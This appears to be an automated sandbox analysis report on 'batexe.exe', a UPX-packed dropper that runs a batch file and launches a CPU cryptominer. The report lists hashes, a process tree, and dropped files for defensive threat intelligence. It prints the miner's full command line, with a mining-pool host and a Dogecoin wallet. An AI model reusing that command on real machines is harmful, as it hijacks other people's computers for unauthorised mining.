73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
297s
max time network
307s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
17/02/2024, 10:45

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3516	b2e.exe
5004	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5004	cpuminer-sse2.exe
5004	cpuminer-sse2.exe
5004	cpuminer-sse2.exe
5004	cpuminer-sse2.exe
5004	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3788-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3788 wrote to memory of 3516	3788	batexe.exe	75
PID 3788 wrote to memory of 3516	3788	batexe.exe	75
PID 3788 wrote to memory of 3516	3788	batexe.exe	75
PID 3516 wrote to memory of 2004	3516	b2e.exe	76
PID 3516 wrote to memory of 2004	3516	b2e.exe	76
PID 3516 wrote to memory of 2004	3516	b2e.exe	76
PID 2004 wrote to memory of 5004	2004	cmd.exe	79
PID 2004 wrote to memory of 5004	2004	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3788
- C:\Users\Admin\AppData\Local\Temp\D2C1.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\D2C1.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\D2C1.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3516
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DCC3.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2004
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\D2C1.tmp\b2e.exe

Filesize
3.0MB

MD5
42e52d2aa6e0aa4e0a6cb435f3e72e32

SHA1
904d518be9644114eda76add80ccf585ee238731

SHA256
4f8c614822cb12e7405d484d8ef1c5796fe1002f4e20867e761623d6108bd5ed

SHA512
c5bdbe9278322b817f6744ed51e93d2a5a32b7285a5d8506bd7d6578fd432f43caec54c5ae81074a06b8c2b4a36ad5ee4bb6e817698252ec8df1406ee68916e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\D2C1.tmp\b2e.exe

Filesize
6.1MB

MD5
12689c6eb8285d78d3d9bf37ba3e1cdf

SHA1
b3d8ad5ed28e003cbbf00053ea63612baa96ee33

SHA256
fccbe60c5e3d598f7ae6b29817a5b17f91141363bdf6313596afc0f9240bb374

SHA512
96796e69aa6c20485efc6e7df75073909097e277aa9f5c298356ffe2e101ce65053d984e22baed3c008f70c7b1c8379444839ebf2a222d9cfa075ba3154a365d

Download Submit
C:\Users\Admin\AppData\Local\Temp\DCC3.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.4MB

MD5
2ef40d5c3b964c66392be6a3db51bf84

SHA1
391a644aa11504129db4b42007b054f2c3bf5414

SHA256
0ef835e2576ba8fbfcd733a66284579607cc8dafdc2b26fe3c0091dc66d8e707

SHA512
0b568c8b5ef88af49c00801cd5eaf3e7262367d2a3356f1a685d36e3c1dff63babb5dd049d5a1e7fbe214cab35e6f271d0a105e073a1fb2c281bb5c0279b7107

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
b465230cf79fcd815a31dad053d1dbe1

SHA1
f1bf5606ba3d1bb49d9437b5ba489fd9e8614ace

SHA256
cd616032256b5c1fdad92cf551a04c9f8fb9292262b19af72c1d8406b8baf865

SHA512
b832fcdf586c0afad6f0fc7dd315ba3ae05d3e49ca730ddba0ac463620afd44215a3e2d3f906de41e4448dd91610b13633148048819156aa27a4ee3155d3e9bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
c89e863ce2221a0f49b45a55100e468c

SHA1
569ede311983a53a8f23f254fe37735538cbfa5e

SHA256
5ca5fb55f2e5ddee30c893b0e78d1ad59f593c2c3e5ecc155f14a088c65cfb46

SHA512
f65476f7353ef6ca7378752551c28736b61916cbf54f0a17b211a5a14ab93ddc2830a1d9c3cc1118117a23be95d49b06fc8a174d1a87f360ae4b96a6bbde04b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
960KB

MD5
f3707fd5b389e53285dfb3815a4785b8

SHA1
788b2ac7be4acb28e804021893e11cdd44ee0784

SHA256
f7ef0e3e60989fac5636e6e5a018b730b403b75889125b56c4d07d6279e94c94

SHA512
f11d8577758db08f597987f525b4fc4c8c3f5181255f89281300968dc90fe4b298c322e3f531f768cd5014d116bb7161365c9d3fbaa76ab835405d8a1e231f26

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
933KB

MD5
15af98c289e260fb5bc6791d0014b055

SHA1
5c35e101b85c127338f151226a0df7fc59349dd8

SHA256
9ee0a0aec9bba3a578bb89f06f7dbf28ff50b6d78a56d6894c2264d96142b9b7

SHA512
f4c2031832611b86008b23ae8c31735e6a2a2412fba433c2454c0e982f5b88d92d9fdc88d82218718fb4f9d2cbf457f96711d684007d3c369c12e5fe178f10f5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
64KB

MD5
e98583e2f3157ea2561f40a91a79b195

SHA1
770932f48dbea7a78a3b21e3df65e329a27313ff

SHA256
f6b3de2ac1e9c449daf82a3bd6fa52d2ed60e73e8cdd25d5d2194586a8d10de2

SHA512
cfa97067447a389dc5439dc42ca467f97947fa7010314cad0b99655688361721720bb33e34a1c7b22c93d807327b756109f63d15a40df5aaec620b0d0e1acc7f

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
768KB

MD5
613807ad6d525aded318b643c33bc17e

SHA1
2c9a4180140838c69c20bc4047c3d2d777d3bee4

SHA256
896775bd33edafb0d219d1ae3e973e71aa29a4937d0252bd3a4cad074c004971

SHA512
d688b0f2570944898097dcc6acb56b3a4c901073f0ce22b5ea260b05a37fe2840d84b44e7aa74c7d73078b0e5a45c24994852f5c03f049982b6ddca6ead89539

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3516-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3516-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3788-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5004-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-43-0x0000000067740000-0x00000000677D8000-memory.dmp

Filesize
608KB

Download
memory/5004-44-0x0000000001030000-0x00000000028E5000-memory.dmp

Filesize
24.7MB

Download
memory/5004-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5004-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5004-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5004-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download